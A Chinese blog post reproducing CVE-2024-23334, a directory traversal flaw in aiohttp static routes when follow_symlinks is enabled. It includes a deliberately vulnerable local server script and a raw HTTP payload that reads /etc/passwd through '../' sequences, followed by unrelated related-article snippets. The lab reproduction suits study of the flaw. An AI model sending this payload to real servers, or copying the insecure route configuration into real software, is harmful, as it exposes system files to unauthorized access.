CVE-2024-23334 AIOHTTP 目录遍历漏洞复现

aiohttp简介

aiohttp 是一个基于 asyncio 实现的 Python HTTP 客户端和服务器框架。它提供了异步的 HTTP 客户端和服务器功能,能够处理高并发的网络请求。以下是关于 aiohttp 的一些重要特点和用途:

  1. 基于 asyncioaiohttp 是基于 Python 的 asyncio 模块开发的,因此它利用了 Python 3.5+ 中引入的异步编程能力,支持异步 I/O 操作。

  2. HTTP 客户端aiohttp 提供了一个强大的异步 HTTP 客户端,可以发送 HTTP 请求并处理响应。它支持 GET、POST 等各种 HTTP 请求方法,同时也支持异步文件上传和下载。

  3. HTTP 服务器:除了客户端功能,aiohttp 还可以用作 HTTP 服务器,可以构建基于 HTTP 协议的 Web 应用程序。它支持路由、中间件、模板渲染等常见的 Web 开发功能。

  4. WebSocket 支持aiohttp 还提供了对 WebSocket 的支持,可以轻松实现基于 WebSocket 的双向通信,用于实时通信或推送场景。

  5. 异步性能:由于采用了异步编程模型,aiohttp 在处理大量并发请求时表现出色,能够有效利用系统资源,提高性能。

  6. 灵活性aiohttp 提供了丰富的 API 和配置选项,使得开发者可以根据需求定制和扩展框架的功能,从而满足各种复杂的应用场景。

总的来说,aiohttp 是一个强大且灵活的异步 HTTP 客户端和服务器框架,适合用于构建高性能、高并发的网络应用程序,特别是在需要处理大量 I/O 操作的情况下能够发挥出色的效果。

CVE-2024-23334 漏洞简介

使用 aiohttp 作为 Web 服务器并配置静态路由时,需要指定静态文件的根路径。此外,选项“follow_symlinks”可用于确定是否遵循静态根目录之外的符号链接。当“follow_symlinks”设置为 True 时,不会进行验证来检查给定的文件路径是否在根目录中。这可能导致目录遍历漏洞,导致未经授权访问系统上的任意文件,即使符号链接不存在也是如此。即,应用程序仅因安装代码而易受攻击,例如:

app.router.add_routes([web.static("/static", "static/", follow_symlinks=True),  # Remove follow_symlinks to avoid the vulnerability
])

影响版本

1.0.5<=aiohttp<3.9.2

漏洞复现

安装aiohttp库

pip install aiohttp==3.9.1

编写web启动文件

aiohttpServer.py

from aiohttp import web                        
async def index(request):             return web.Response(text="Hello, World!")             app = web.Application()             
app.router.add_routes([             web.static("/static", "static/", follow_symlinks=True),             
])             
app.router.add_get('/', index)             if __name__ == '__main__':             web.run_app(app, host='127.0.0.1', port=8080)

python3 aiohttpServer.py 启动服务

发送payload

​​​​​​​

 

GET /static/../../../../etc/passwd HTTP/1.1
Host: 192.168.116.128:8080
Content-Length: 2

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/511157.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

no declaration can be found for element ‘rabbit:connection-factory‘

spring-mvc 配置 rabbitmq 出现问题。 我的解决方案如下&#xff1a; 1 找到配置文件 spring-rabbitmq.xml 我的配置文件叫&#xff1a;spring-rabbitmq.xml&#xff0c;你们按照自己的查找。 2 定位如下URI 接着 Ctrl鼠标左键 3 确定spring-rabbit-x.x.xsd 按照步骤2 &…

Leetcode刷题笔记题解(C++):232. 用栈实现队列

思路&#xff1a;双栈实现入队列和出队列的操作 //AB栈来实现队列 //A栈用来push 可以利用A栈获取到队列的back即A.top //B栈用来pop 如果要获取队列的top&#xff0c;可以先把A栈元素依次弹出依次压入B栈中&#xff0c;然后B.top就是队列的top&#xff0c;pop也类似 cla…

记录些大语言模型(LLM)相关的知识点

槽位对齐&#xff08;slot alignment&#xff09; 在text2sql任务中&#xff0c;槽位对齐&#xff08;slot alignment&#xff09;通常指的是将自然语言问题中的关键信息&#xff08;槽位&#xff09;与数据库中的列名或API调用中的参数进行匹配的过程。这个过程中&#xff0c…

03-grafana的下拉列表选项制作-grafana的变量

一、准备环境 为了实现下拉列表筛选的样例&#xff0c;我们监控两个linux节点&#xff1b; 目前&#xff0c;我们已经有了一个节点了&#xff0c;再添加一个&#xff1b; 二、grafana的仪表盘变量 如果想给仪表盘自定义下拉列表&#xff0c;那么&#xff0c;需要设置变量&#…

秘密共享差分隐私原理解析

1. 隐私计算全貌 &#xfffc;&#xfffc; 可以看到&#xff0c;隐私计算技术从1979年就开始了&#xff0c;历经四代从安全多方计算(MPC)、到差分隐私(DP)、到集中加密技术(TEE)&#xff0c;再到联邦学习(FL)。 2. 秘密共享 secret Sharing 就是“秘密分享”或者“秘密共享”…

YOLOv8从入门到入土使用教程!(一)训练模型

⭐⭐⭐瞧一瞧看一看&#xff0c;新鲜的YOLOv9魔改专栏来啦&#xff01;⭐⭐⭐ 专栏介绍&#xff1a;YOLOv9改进系列 | 包含深度学习最新创新&#xff0c;主力高效涨点&#xff01;&#xff01;&#xff01; 一、本文介绍 本文将演示如何使用YOLOv8进行训练及预测&#xff01; 二…

Android m/mm/mmm/make编译模块

一.编译成模块的前置条件 Android编译环境初始化完成后&#xff0c;我们就可以用m/mm/mmm/make命令编译源代码了。lunch命令其实是定义在build/envsetup.sh文件中的函数lunch提供的。与lunch命令一样&#xff0c;m、mm和mmm命令也分别是由定义在build/envsetup.sh文件中的函数…

【QT】C/C++ 文件属性设置(隐藏、只读、加密等)方法和程序示例

目录 1文件属性设置 1.1 GetFileAttributes 获取文件属性函数的返回值 1.2 SetFileAttributes 设置文件属性函数 2 文件属性设置示例 1文件属性设置 在MSDN中&#xff0c;文件总共有15种属性&#xff0c;根据磁盘的分区格式不同&#xff0c;文件的属性也会不同。 需要包含头…

182基于matlab的半监督极限学习机进行聚类

基于matlab的半监督极限学习机进行聚类&#xff0c;基于流形正则化将 ELM 扩展用于半监督&#xff0c;三聚类结果可视化输出。程序已调通&#xff0c;可直接运行。 182matlab ELM 半监督学习 聚类 模式识别 (xiaohongshu.com)

2D/3D相机手眼标定总结

1. 九点标定 九点标定法的本质&#xff1a; 无需进行相机内参标定&#xff0c;只能识别x&#xff0c;y坐标&#xff0c;属于2D平面标定&#xff0c;在标定过程中z是未知的。 该算法的核心是仿射变换&#xff0c;即图像坐标系到机器人坐标系的2D仿射变换&#xff08;注意这里并不…

B084-SpringCloud-Zuul Config

目录 zuul系统架构和zuul的作用zuul网关实现配置映射路径过滤器 Config概述云端管理本地配置 zuul zuul是分布式和集群后前端统一访问入口 系统架构和zuul的作用 zuul把自己注册进eureka&#xff0c;然后可通过前端传来的服务名发现和访问对应的服务集群 为了预防zuul单点故…

C++:Vector的模拟实现

创作不易&#xff0c;感谢三连 &#xff01;&#xff01; 一&#xff0c;前言 在学习string类的时候&#xff0c;我们可能会发现遍历的话下标访问特别香&#xff0c;比迭代器用的舒服&#xff0c;但是下标其实只能是支持连续的空间&#xff0c;他的使用是非常具有局限性的&am…